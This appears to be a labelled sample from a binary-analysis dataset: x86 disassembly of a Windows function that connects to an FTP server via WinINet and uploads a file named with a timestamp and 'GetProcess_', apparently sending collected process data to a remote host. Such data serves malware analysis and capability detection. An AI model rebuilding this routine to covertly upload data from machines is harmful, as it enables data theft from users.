Function at 0x10013e50
Capabilities:
Connect to http server
Create http request
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10042a24
mov eax, dword fs:[0]
push eax
sub esp, 0x1fc
mov eax, dword [0x1005b034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov eax, 0xf
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x48], bl
mov dword [ebp - 4], ebx
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x8c], ebx
mov byte [ebp - 0x9c], bl
mov byte [ebp - 4], 1
mov dword [ebp - 0x50], eax
mov eax, 0x10172c30
mov dword [ebp - 0x54], ebx
mov byte [ebp - 0x64], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10013eb8
sub eax, edx
mov edi, eax
mov eax, 0x10172c30
lea esi, [ebp - 0x64]
call fcn.10002d20
mov eax, esi
push eax
lea ecx, [ebp - 0xd4]
push ecx
mov byte [ebp - 4], 2
call fcn.10002580
add esp, 8
mov byte [ebp - 4], 4
cmp dword [ebp - 0x50], 0x10
jb 0x10013efd
mov edx, dword [ebp - 0x64]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, 0xf
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x6c], eax
mov eax, 0x10172cf8
mov dword [ebp - 0x54], ebx
mov byte [ebp - 0x64], bl
mov dword [ebp - 0x70], ebx
mov byte [ebp - 0x80], bl
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10013f20
sub eax, edx
mov edi, eax
mov eax, 0x10172cf8
lea esi, [ebp - 0x80]
call fcn.10002d20
mov byte [ebp - 4], 5
mov eax, 0x10172dc0
mov dword [ebp - 0x50], 0xf
mov dword [ebp - 0x54], ebx
mov byte [ebp - 0x64], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10013f51
sub eax, edx
mov edi, eax
mov eax, 0x10172dc0
lea esi, [ebp - 0x64]
call fcn.10002d20
mov eax, esi
push eax
lea ecx, [ebp - 0xb8]
push ecx
mov byte [ebp - 4], 6
call fcn.10002580
add esp, 8
mov edi, 0x10
mov byte [ebp - 4], 8
cmp dword [ebp - 0x50], edi
jb 0x10013f9a
mov edx, dword [ebp - 0x64]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x50], 0xf
mov dword [ebp - 0x54], ebx
mov byte [ebp - 0x64], bl
call fcn.10011400
push ebx
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, dword [ebp - 0xb8]
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0xa4], edi
jae 0x10013fd2
lea esi, [ebp - 0xb8]
mov edx, dword [ebp - 0x80]
cmp dword [ebp - 0x6c], edi
jae 0x10013fdd
lea edx, [ebp - 0x80]
mov ecx, dword [ebp - 0xd4]
cmp dword [ebp - 0xc0], edi
jae 0x10013ff1
lea ecx, [ebp - 0xd4]
push ebx
push 0x8000000
push 1
push esi
push edx
push 0x15
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
push ebx
mov dword [ebp - 0x150], eax
call dword [sym.imp.MSVCR100.dll__time64]
mov dword [ebp - 0x160], eax
lea eax, [ebp - 0x160]
add esp, 4
push eax
mov dword [ebp - 0x15c], edx
call dword [sym.imp.MSVCR100.dll__localtime64]
mov esi, eax
mov ecx, 9
lea edi, [ebp - 0x14c]
rep movsd dword es:[edi], dword [esi]
add esp, 4
lea ecx, [ebp - 0x208]
push ecx
call fcn.1000b7f0
mov byte [ebp - 4], 9
lea edx, [ebp - 0x14c]
mov eax, str._H__M__S
mov dword [ebp - 0x16c], edx
mov dword [ebp - 0x168], eax
inc eax
cmp byte [eax], bl
jne 0x10014067
mov dword [ebp - 0x164], eax
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x16c]
call fcn.10016490
add esp, 4
lea ecx, [ebp - 0x128]
lea eax, [ebp - 0x208]
call fcn.1000b8a0
mov byte [ebp - 4], 0xa
mov eax, dword [0x101774c4]
mov ecx, eax
mov dword [ebp - 0xdc], 0xf
mov dword [ebp - 0xe0], ebx
mov byte [ebp - 0xf0], bl
lea esi, [ecx + 1]
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x100140c0
sub ecx, esi
mov edi, ecx
lea esi, [ebp - 0xf0]
call fcn.10002d20
mov edi, esi
lea eax, [ebp - 0x10c]
mov byte [ebp - 4], 0xb
call fcn.10013830
mov byte [ebp - 4], 0xd
cmp dword [ebp - 0xdc], 0x10
jb 0x10014104
mov ecx, dword [ebp - 0xf0]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov edi, 0xf
push 0xb
mov eax, str.GetProcess_
lea ecx, [ebp - 0x48]
mov dword [ebp - 0xdc], edi
mov dword [ebp - 0xe0], ebx
mov byte [ebp - 0xf0], bl
call fcn.10008150
push ebx
lea edx, [ebp - 0x128]
push edx
or eax, 0xffffffff
lea esi, [ebp - 0x48]
call fcn.100084a0
push 1
mov eax, 0x1004ed9c
mov ecx, esi
call fcn.10008150
push ebx
push 0x101774f0
or eax, 0xffffffff
call fcn.100084a0
push 1
mov eax, 0x1004ed9c
mov ecx, esi
call fcn.10008150
push ebx
lea eax, [ebp - 0x10c]
push eax
or eax, 0xffffffff
call fcn.100084a0
mov eax, dword [0x101774c4]
mov ecx, eax
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x10014181
sub ecx, esi
push ecx
lea ecx, [ebp - 0x9c]
call fcn.10008150
mov ecx, dword [ebp - 0x48]
mov esi, 0x10
cmp dword [ebp - 0x34], esi
jae 0x100141a6
lea ecx, [ebp - 0x48]
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x88], esi
jae 0x100141ba
lea eax, [ebp - 0x9c]
push ebx
push 2
push ecx
mov ecx, dword [ebp - 0x150]
push eax
push ecx
call dword [sym.imp.WININET.dll_FtpPutFileA]
test eax, eax
mov eax, dword [ebp - 0x48]
jne 0x10014233
cmp dword [ebp - 0x34], esi
jae 0x100141db
lea eax, [ebp - 0x48]
push eax
push str.______n_Failed__n__s
push 0x10176938
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, 0x10176938
add esp, 0xc
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10014200
sub eax, edx
mov edi, eax
mov eax, 0x10176938
lea esi, [ebp - 0x2c]
call fcn.10002d20
mov eax, esi
mov byte [ebp - 4], 0xe
call fcn.1001ad30
mov byte [ebp - 4], 0xd
cmp dword [ebp - 0x18], 0x10
jb 0x1001429a
mov edx, dword [ebp - 0x2c]
push edx
jmp 0x10014291
cmp dword [ebp - 0x34], esi
jae 0x1001423b
lea eax, [ebp - 0x48]
push eax
push str.______n_Successfully__n__s
push 0x10176938
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, 0x10176938
add esp, 0xc
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10014260
sub eax, edx
mov edi, eax
mov eax, 0x10176938
lea esi, [ebp - 0x2c]
call fcn.10002d20
mov eax, esi
mov byte [ebp - 4], 0xf
call fcn.1001ad30
mov byte [ebp - 4], 0xd
cmp dword [ebp - 0x18], 0x10
jb 0x1001429a
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 0x150]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ecx
call esi
mov edx, dword [ebp - 0x154]
push edx
call esi
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0xd4]
call fcn.10002420
add esp, 4
mov edi, eax
lea esi, [ebp - 0xd4]
mov byte [ebp - 4], 0x10
call fcn.10003280
mov byte [ebp - 4], 0xd
cmp dword [ebp - 0x18], 0x10
jb 0x100142ec
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea edx, [ebp - 0x2c]
push edx
lea ecx, [ebp - 0x80]
call fcn.10002420
add esp, 4
mov edi, eax
lea esi, [ebp - 0x80]
mov byte [ebp - 4], 0x11
call fcn.10003280
mov byte [ebp - 4], 0xd
cmp dword [ebp - 0x18], 0x10
jb 0x10014320
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea ecx, [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0xb8]
call fcn.10002420
add esp, 4
mov edi, eax
lea esi, [ebp - 0xb8]
mov byte [ebp - 4], 0x12
call fcn.10003280
mov esi, 0x10
mov byte [ebp - 4], 0xd
cmp dword [ebp - 0x18], esi
jb 0x1001435e
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
call fcn.10013890
cmp dword [ebp - 0xf8], esi
jb 0x1001437b
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov edi, 0xf
mov dword [ebp - 0xf8], edi
mov dword [ebp - 0xfc], ebx
mov byte [ebp - 0x10c], bl
cmp dword [ebp - 0x114], esi
jb 0x100143aa
mov ecx, dword [ebp - 0x128]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0x114], edi
mov dword [ebp - 0x118], ebx
mov byte [ebp - 0x128], bl
mov ecx, dword [eax + 4]
lea edx, [ebp - 0x1b8]
mov dword [ebp - 0x154], edx
mov dword [ebp + ecx - method.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
lea ecx, [ebp - 0x204]
mov byte [ebp - 4], 0x13
call fcn.1000b8c0
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0x208]
mov ecx, dword [sym.imp.MSVCP100.dll_const_std::basic_ostream_char__struct_std::char_traits_char__::vftable]
mov eax, dword [edx + 4]
mov dword [ebp + eax - 0x208], ecx
lea ecx, [ebp - 0x1b8]
call dword [sym.imp.MSVCP100.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
cmp dword [ebp - 0xa4], esi
jb 0x10014429
mov edx, dword [ebp - 0xb8]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0xa4], edi
mov dword [ebp - 0xa8], ebx
mov byte [ebp - 0xb8], bl
cmp dword [ebp - 0x6c], esi
jb 0x1001444d
mov eax, dword [ebp - 0x80]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x6c], edi
mov dword [ebp - 0x70], ebx
mov byte [ebp - 0x80], bl
cmp dword [ebp - 0xc0], esi
jb 0x1001446e
mov ecx, dword [ebp - 0xd4]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0xc0], edi
mov dword [ebp - 0xc4], ebx
mov byte [ebp - 0xd4], bl
cmp dword [ebp - 0x88], esi
jb 0x10014498
mov edx, dword [ebp - 0x9c]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x88], edi
mov dword [ebp - 0x8c], ebx
mov byte [ebp - 0x9c], bl
cmp dword [ebp - 0x34], esi
jb 0x100144bc
mov eax, dword [ebp - 0x48]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1003e6b0
mov esp, ebp
pop ebp
ret